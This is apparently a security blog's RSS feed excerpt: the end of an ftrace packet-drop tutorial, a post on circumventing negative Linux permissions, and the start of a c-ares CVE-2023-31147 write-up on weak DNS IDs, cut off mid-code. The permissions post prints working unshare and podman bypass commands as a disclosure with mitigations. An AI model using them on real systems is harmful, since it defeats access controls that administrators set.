 =&gt; ath11k_pcic_ext_grp_napi_poll
 =&gt; __napi_poll
 =&gt; napi_threaded_poll
 =&gt; kthread
 =&gt; ret_from_fork
</code></pre>
<p>Now we see that the dropped packet arrived through the ath11k WiFi driver, and the function <code>tcp_v4_rcv()</code> decided to drop it on the floor!</p>
<p>To disable the custom probe run:</p>
<pre><code>$ echo 0 &gt; events/kprobes/my_skb_probe/enable
$ echo '!stacktrace if reason &gt; 2' &gt; events/kprobes/my_skb_probe/trigger
$ echo &gt; kprobe_events
</code></pre>
<h2 id="using-tracepoints">Using Tracepoints</h2>
<p>Delving into the intricacies of kernel internals and machine-specific function call ABI details can be quite challenging and may not be necessary for everyone.
Fortunately, Linux provides a more accessible solution through predefined kprobes known as tracepoints.
These tracepoints are strategically placed at crucial locations in the kernel where regular function tracing might not provide sufficient context.
In the case of the Linux network stack, the maintainers have thoughtfully provided tracepoints for various skbuff operations.
This makes it easier for users to access and gather meaningful information without the need to delve too deeply into the kernel&rsquo;s internals.</p>
<pre><code>$ ls -1 events/skb
consume_skb
enable
filter
kfree_skb
skb_copy_datagram_iovec
</code></pre>
<p><code>consume_skb</code> and <code>kfree_skb</code> look promising! In the event directory is also a file called <code>format</code> which describes the event.</p>
<pre><code>$ cat events/skb/kfree_skb/format 
name: kfree_skb
[.. skipped output ..]
	field:void * skbaddr;   offset:8;       size:8; signed:0;
	field:void * location;  offset:16;      size:8; signed:0;
	field:unsigned short protocol;  offset:24;      size:2; signed:0;
	field:enum skb_drop_reason reason;      offset:28;      size:4; signed:0;
[.. skipped output ..]
</code></pre>
<p>The event can provide us with the drop reason. Let&rsquo;s enable it and filter for <code>reason &gt; 2</code></p>
<pre><code>$ echo 1 &gt; events/skb/kfree_skb/enable 
$ echo &quot;reason &gt; 2&quot; &gt; events/skb/kfree_skb/filter
$ echo &gt; trace
$ cat trace_pipe
  napi/-8411-1777    [006] b.... 715880.566050: kfree_skb: skbaddr=000000002d74f5c5 protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET
</code></pre>
<p>The reason has even a symbolic name and we immediately see the caller! Having a stack trace is of course also possible.</p>
<pre><code>$ echo 'stacktrace if reason &gt; 2' &gt; events/skb/kfree_skb/trigger
$ cat trace_pipe
      napi/-8411-1777    [006] b.... 715962.431448: kfree_skb: skbaddr=0000000096888eda protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET
      napi/-8411-1777    [006] b..1. 715962.431472: &lt;stack trace&gt;
 =&gt; trace_event_raw_event_kfree_skb
 =&gt; kfree_skb_reason
 =&gt; tcp_v4_rcv
 =&gt; ip_protocol_deliver_rcu
 =&gt; ip_local_deliver_finish
 =&gt; __netif_receive_skb_core.constprop.0
 =&gt; __netif_receive_skb_list_core
 =&gt; netif_receive_skb_list_internal
 =&gt; napi_complete_done
 =&gt; ath11k_pcic_ext_grp_napi_poll
 =&gt; __napi_poll
 =&gt; napi_threaded_poll
 =&gt; kthread
 =&gt; ret_from_fork
</code></pre>
<h3 id="ftrace-with-tracepoints-in-action">ftrace with Tracepoints In Action</h3>
<figure>
<img src="term_tp.svg" loading="lazy" decoding="async"></figure>
<p>Why didn&rsquo;t we immediately demonstrate the easy way using tracepoints? Because learning something the hard way helps in understanding the basics. Additionally, not all interesting areas in the kernel have matching tracepoints, so sooner or later, you may need to add your own kprobes.</p>
<h2 id="summary">Summary</h2>
<p>Even with no tracing-specific tooling installed, Linux allows for advanced debugging using a file-based interface.
Using the function trace, ftrace, it&rsquo;s possible to inspect the kernel&rsquo;s internals easily.
In this example, we used ftrace to understand how and where network packets are dropped.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://perf.wiki.kernel.org/index.php/Main_Page">Perf Wiki</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/nhorman/dropwatch/">dropwatch Git Repository</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.kernel.org/networking/skbuff.html">struct sk_buff - The Linux Kernel Documentation</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://docs.kernel.org/trace/ftrace.html">ftrace - Function Tracer - The Linux Kernel Documentation</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://www.trace-cmd.org/">tracecmd Website</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://docs.kernel.org/trace/kprobetrace.html">Kprobe-based Event Tracing - The Linux Kernel Documentation</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>No Love for Negative Permissions</title><link>https://sigma-star.at/blog/2023/08/no-love-for-negative-permissions/</link><pubDate>Thu, 31 Aug 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/08/no-love-for-negative-permissions/</guid><description><![CDATA[<h1 id="no-love-for-negative-permissions">No Love for Negative Permissions</h1>
<p>TL;DR: <em>Avoid using negative permissions; on modern Linux systems, they can be circumvented.</em></p>
<p>Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC).
Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed <em>white</em> or <em>allow</em> listing.
However, both DAC and ACL do allow the implementation of negative permissions.
Negative permissions <em>deny</em> access to certain users or groups while everybody else retains access.
This practice is much less common and is widely seen as a poor security practice within the community.</p>]]></description><content:encoded><![CDATA[<h1 id="no-love-for-negative-permissions">No Love for Negative Permissions</h1>
<p>TL;DR: <em>Avoid using negative permissions; on modern Linux systems, they can be circumvented.</em></p>
<p>Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC).
Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed <em>white</em> or <em>allow</em> listing.
However, both DAC and ACL do allow the implementation of negative permissions.
Negative permissions <em>deny</em> access to certain users or groups while everybody else retains access.
This practice is much less common and is widely seen as a poor security practice within the community.</p>
<p>With the advent of Linux containers, the landscape has shifted, rendering negative permissions not only a poor practice but also susceptible to bypass attacks.
In contemporary Linux systems, there&rsquo;s a significant likelihood that users can sidestep negative permissions and potentially gain entry to protected files.</p>
<h3 id="example-of-negative-permissions">Example of Negative Permissions</h3>
<p>Let&rsquo;s consider a scenario where everyone has access to the <code>/usr/share/games</code> folder. However, there&rsquo;s a desire to prevent specific users from playing games. To achieve this, a new group called <code>nogames</code> is established, and a negative permission is implemented to deny access for members belonging to this group.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">root@host$ groupadd nogames
</span></span><span class="line"><span class="cl">root@host$ usermod -G nogames bob
</span></span><span class="line"><span class="cl">root@host$ usermod -G nogames john
</span></span><span class="line"><span class="cl">root@host$ chown root:nogames /usr/share/games/
</span></span><span class="line"><span class="cl">root@host$ chmod <span class="nv">u</span><span class="o">=</span>rwx,g<span class="o">=</span>,o<span class="o">=</span>rx-w /usr/share/games/
</span></span></code></pre></td></tr></table>
</div>
</div><p>Now, users <code>bob</code> and <code>john</code> are effectively restricted from accessing the <code>/usr/share/games</code> directory. This outcome is achieved due to the priority sequence: <code>user</code> DAC entries take precedence over <code>group</code>, and <code>group</code> takes precedence over <code>other</code>.
Given that both <code>bob</code> and <code>john</code> belong to the <code>nogames</code> group, the permissions established for the <code>nogames</code> group take precedence, resulting in no granted permissions for them.
Conversely, for all other users, either the <code>user</code> or the <code>other</code> entities come into play.
The same objective can also be accomplished using Access Control Lists (ACLs) in place of discretionary access control (DAC). For instance, you can implement an ACL using a command like <code>setfacl -m g:nogames:--- /usr/share/games</code>.</p>
<h3 id="exploiting-the-problem">Exploiting the Problem</h3>
<p>Certainly, if a user manages to remove themselves from the <code>nogames</code> group, access would be restored.
The <code>setgroups()</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> system call enables the modification of supplementary groups associated with the current process.
Naturally, such an operation requires privileged capabilities, specifically the <code>CAP_SETGID</code> capability.
This mechanism highlights the significance of managing privileges and group memberships to  effectively uphold the desired access controls.</p>
<p>With the advent of Linux containers, particularly user namespaces, the dynamics have shifted.
In a user namespace, an unprivileged user possesses all capabilities.
However, every action taking place within the namespace is associated with the user and group IDs of the namespace&rsquo;s creator.
For enabling rootless container engines like <code>podman</code>, the <code>shadow-utils</code> package includes a lesser-known toolkit: <code>newuidmap</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> and <code>newgidmap</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.
These tools are either set-uid-root or possess the file capability <code>CAP_SETGID</code>.
By utilizing these tools, users can establish a fresh user namespace and set up UID and GID mappings that target distinct IDs from those of the invoking task.
These mappings are maintained in <code>/etc/subuid</code> and <code>/etc/subgid</code>.
When a user is created, the <code>useradd</code> tool configures these designated subordinate IDs.</p>
<p>Having multiple group ID mappings in place empowers a process within a user namespace once again to employ the <code>setgroups()</code> syscall, allowing it to shed supplementary groups at its discretion!</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">bob@host$ ls /usr/share/games
</span></span><span class="line"><span class="cl">ls: cannot open directory <span class="s1">&#39;/usr/share/games&#39;</span>: Permission denied
</span></span><span class="line"><span class="cl">bob@host$ unshare -G <span class="m">0</span> --map-groups<span class="o">=</span>100000,0,1 ls /usr/share/games
</span></span><span class="line"><span class="cl">atc  boggle quiz
</span></span></code></pre></td></tr></table>
</div>
</div><p>The <code>unshare</code> tool internally employs <code>newuidmap</code> and <code>newgidmap</code>.
By consulting <code>/etc/subgid</code>, we know that the user named <code>bob</code> can utilize the subordinate group ID <code>100000</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">bob@host$ ls /usr/share/games
</span></span><span class="line"><span class="cl">ls: cannot open directory <span class="s1">&#39;/usr/share/games&#39;</span>: Permission denied
</span></span><span class="line"><span class="cl">bob@host$ podman run --rm -it -v /:/xxx/ docker.io/bash ls /xxx/usr/share/games
</span></span><span class="line"><span class="cl">atc  boggle quiz
</span></span></code></pre></td></tr></table>
</div>
</div><p><code>podman</code> in rootless mode can also be utilized to achieve the same result.</p>
<h4 id="user-based-negative-permissions">User based Negative Permissions</h4>
<p>An attentive reader might wonder about negative permissions based on users, as we&rsquo;ve mostly talked about groups so far.
Consider a scenario involving negative ACLs like this: let&rsquo;s say we want to prevent user <code>bob</code> from accessing games using an ACL command like <code>setfacl -m u:bob:--- /usr/share/games</code>.
Once again, using <code>unshare</code> along with <code>newuidmap</code> proves to be effective.
However, this time, it doesn&rsquo;t involve dropping additional groups.
Instead, it works by changing the effective user ID to one within a specific range.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">bob@host$ ls /usr/share/games
</span></span><span class="line"><span class="cl">ls: cannot open directory <span class="s1">&#39;/usr/share/games&#39;</span>: Permission denied
</span></span><span class="line"><span class="cl">bob@host$ unshare -S <span class="m">0</span> --map-users<span class="o">=</span>100000,0,1 ls /games
</span></span><span class="line"><span class="cl">atc  boggle quiz
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="background-and-history">Background and History</h3>
<p>At first, the idea that dropping or changing group memberships might cause problems wasn&rsquo;t considered when user namespaces were added.
This was mainly because people didn&rsquo;t think about situations where permissions work in a negative way.
It was assumed that if you leave a group, you&rsquo;d have less power, and on Linux diminishing one&rsquo;s own authority is usually okay.
Yet, it didn&rsquo;t take long to realize<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> that dropping groups could actually give more power when dealing with negative permissions.
This discovery led to an issue known as CVE-2014-8989, which was quickly fixed in Linux version 3.19.</p>
<p>In 2018, it was discovered that version 4.5 of the <code>shadow-utils</code> package introduced a new tool named <code>newgidmap</code>.
This tool can be used to create more complex mappings for group IDs within user namespaces.
Consequently, it reinstates the ability to drop group memberships using the <code>setgroups()</code> syscall<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.
This issue was given the tracking identifier CVE-2018-7169.
The resolution adopted by some Linux distributions was to exclude this tool from their packages.
Furthermore, <code>newuidmap</code> assists users in changing their user ID to one within an authorized range, as configured in <code>/etc/subid</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.
This maneuver can also serve to circumvent negative permissions based on user settings.</p>
<p>Though this problem wasn&rsquo;t a kernel bug, it became evident that rectifying this vulnerability without disrupting established programs like <code>podman</code> would require a non-trivial kernel change<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>.</p>
<p>Other potential solutions also focused on the <code>shadow-utils</code> package itself<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>, but as of now, they haven&rsquo;t gained significant traction.
Ultimately, by 2021, a general agreement was reached to move away from supporting negative permissions and to acknowledge the reality that they can be circumvented<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>In 2023, Richard rediscovered the problem and opted to comprehensively document it across multiple Linux manual pages<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>.</p>
<h2 id="summary">Summary</h2>
<p>Negative permissions have consistently been regarded as bad practice and often treated as theoretical concept.
With the incorporation of Linux containers, negative permissions can now be evaded.</p>
<p>If you find yourself reliant on them, consider one of the following actions:</p>
<ul>
<li>Restructure your permissions into proper allow rules; this is the most recommended approach.</li>
<li>Ensure that neither <code>newuidmap</code> nor <code>newgidmap</code> is present. As of 2023, these two tools are the primary gateways for bypassing such permissions. However, this situation might change in the future.</li>
<li>Completely disable user namespaces by setting the <code>user.max_user_namespaces</code> sysctl to <code>0</code>.</li>
<li>On Ubuntu-based systems, you can also use the <code>kernel.unprivileged_userns_clone</code> to disable user namespaces only for unprivileged users.</li>
</ul>
<p>Finally, it is worth noting that there is still effort to tame <code>newgidmap</code> and <code>newuidmap</code><sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man2/setgroups.2.html">https://man7.org/linux/man-pages/man2/setgroups.2.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://man7.org/linux/man-pages/man1/newuidmap.1.html">https://man7.org/linux/man-pages/man1/newuidmap.1.html</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man7.org/linux/man-pages/man1/neguidmap.1.html">https://man7.org/linux/man-pages/man1/newgidmap.1.html</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://lwn.net/Articles/621629/">https://lwn.net/Articles/621629/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://bugs.launchpad.net/ubuntu/&#43;source/shadow/&#43;bug/1729357">https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://man7.org/linux/man-pages/man5/subuid.5.html">https://man7.org/linux/man-pages/man5/subuid.5.html</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://lore.kernel.org/lkml/20210510130011.1441834-1-gscrivan@redhat.com/">https://lore.kernel.org/lkml/20210510130011.1441834-1-gscrivan@redhat.com/</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://lore.kernel.org/lkml/878sc27zfd.fsf_-_@x220.int.ebiederm.org/">https://lore.kernel.org/lkml/878sc27zfd.fsf_-_@x220.int.ebiederm.org/</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://github.com/shadow-maint/shadow/pull/99">https://github.com/shadow-maint/shadow/pull/99</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://lore.kernel.org/lkml/m1o8d4xgkk.fsf@fess.ebiederm.org/">https://lore.kernel.org/lkml/m1o8d4xgkk.fsf@fess.ebiederm.org/</a>]&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://lore.kernel.org/linux-api/20230829205833.14873-1-richard@nod.at/">https://lore.kernel.org/linux-api/20230829205833.14873-1-richard@nod.at/</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://github.com/shadow-maint/shadow/pull/99#issuecomment-1698356714">https://github.com/shadow-maint/shadow/pull/99#issuecomment-1698356714</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares</title><link>https://sigma-star.at/blog/2023/08/c-ares_cve-2023-31147/</link><pubDate>Tue, 22 Aug 2023 00:00:00 +0200</pubDate><author>David Gstir</author><guid>https://sigma-star.at/blog/2023/08/c-ares_cve-2023-31147/</guid><description><![CDATA[<h1 id="cve-2023-31147-insufficient-randomness-for-dns-query-identifiers-in-c-ares">CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares</h1>
<p>Despite having <a href="https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions">DNSSEC</a>, <a href="https://www.rfc-editor.org/rfc/rfc8484.html">DoH</a>
or <a href="https://datatracker.ietf.org/doc/html/rfc7858">DoT</a> to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we&rsquo;ve been part of a larger team that audited <a href="https://c-ares.org">c-ares</a> v1.19.0.
c-ares is an asynchronous DNS client library with support for a wide range of platforms.
It is around for quite some time now and a few of its more prominent users
include libcurl, node.js and Wireshark.</p>]]></description><content:encoded><![CDATA[<h1 id="cve-2023-31147-insufficient-randomness-for-dns-query-identifiers-in-c-ares">CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares</h1>
<p>Despite having <a href="https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions">DNSSEC</a>, <a href="https://www.rfc-editor.org/rfc/rfc8484.html">DoH</a>
or <a href="https://datatracker.ietf.org/doc/html/rfc7858">DoT</a> to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we&rsquo;ve been part of a larger team that audited <a href="https://c-ares.org">c-ares</a> v1.19.0.
c-ares is an asynchronous DNS client library with support for a wide range of platforms.
It is around for quite some time now and a few of its more prominent users
include libcurl, node.js and Wireshark.</p>
<p>In this post, we delve into one specific outcome of our work, namely
the weak DNS query ID generation in c-ares identified as <a href="https://github.com/c-ares/c-ares/security/advisories/GHSA-8r8p-23f3-64c2">CVE-2023-31147</a>.</p>
<h2 id="dns-query-id-generation-in-c-ares">DNS Query ID Generation in c-ares</h2>
<p>Even though plain DNS does not include any cryptographic measures for
authenticity, DNS queries use two properties for being more resilient
against forged answers<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>:</p>
<ol>
<li>Source port randomization: DNS queries originate from a randomly chosen port, and the response must be directed back to the same port of the originating query.</li>
<li>Random DNS query identifiers: DNS queries contain a randomized 16-bit ID, which the corresponding response must match to gain acceptance.</li>
</ol>
<p>In the good old days, this was not the default. For instance, DNS resolvers used fixed source ports,
allowing attackers to focus solely on correctly predicting the 16-bit query ID. The practical exploitation of this vulnerability was most prominently shown by Dan Kaminsky in 2008 through the publication of <a href="https://www.kb.cert.org/vuls/id/800113">CVE-2008-1447</a>.
Thus, selecting the source port and query ID using a cryptographically secure random number generator (CSPRNG)
is crucial: It makes it quite hard for attackers to construct and inject a malicious response before
the real response arrives at the client.</p>
<p>When auditing a DNS protocol implementation like c-ares, we always check if these mitigations are
properly implemented. In the context of this blog post, we primarily focus on random DNS query identifiers, as source
port randomization is nowadays the default and is managed by the OS<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<p>The high-level design of DNS-Query ID generation in c-ares appears fairly simple to users: Upon initialization with <code>ares_init(ares_channel *channelptr)</code>,
c-ares collects random bytes from the OSes CSPRNG. These bytes serve as the seed for an internal CSPRNG.
This internal CSPRNG is then used to generate the 16-bit DNS query ID for each individual query.
The CSPRNG state is stored in the opaque type <code>ares_channel</code> and updated every time a DNS query
ID is generated through the use of <code>ares__generate_new_id(...)</code>.</p>
<h2 id="hello-1987">Hello 1987</h2>
<p>Once we start looking at the code more closely, we&rsquo;ll realize that not everything is well designed:
First, we notice that DNS query IDs are generated using a pseudo random number generator (PRNG) based on
<a href="https://en.wikipedia.org/wiki/RC4">RC4</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">rc4</span><span class="p">(</span><span class="n">rc4_key</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buffer_ptr</span><span class="p">,</span> <span class="kt">int</span> <span class="n">buffer_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">state</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">xorIndex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">counter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">x</span> <span class="o">=</span> <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">y</span> <span class="o">=</span> <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">state</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">counter</span> <span class="o">&lt;</span> <span class="n">buffer_len</span><span class="p">;</span> <span class="n">counter</span> <span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">x</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">state</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">+</span> <span class="n">y</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">ARES_SWAP_BYTE</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">x</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">y</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">xorIndex</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">state</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">+</span> <span class="n">state</span><span class="p">[</span><span class="n">y</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">buffer_ptr</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)(</span><span class="n">buffer_ptr</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span><span class="o">^</span><span class="n">state</span><span class="p">[</span><span class="n">xorIndex</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span> <span class="o">=</span> <span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cm">/* a unique query id is generated using a rc4 key. Since the id may already
</span></span></span><span class="line"><span class="cl"><span class="cm">   be used by a running query (as infrequent as it may be), a lookup is
</span></span></span><span class="line"><span class="cl"><span class="cm">   performed per id generation. In practice this search should happen only
</span></span></span><span class="line"><span class="cl"><span class="cm">   once per newly generated id
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">short</span> <span class="nf">generate_unique_id</span><span class="p">(</span><span class="n">ares_channel</span> <span class="n">channel</span><span class="p">)</span>
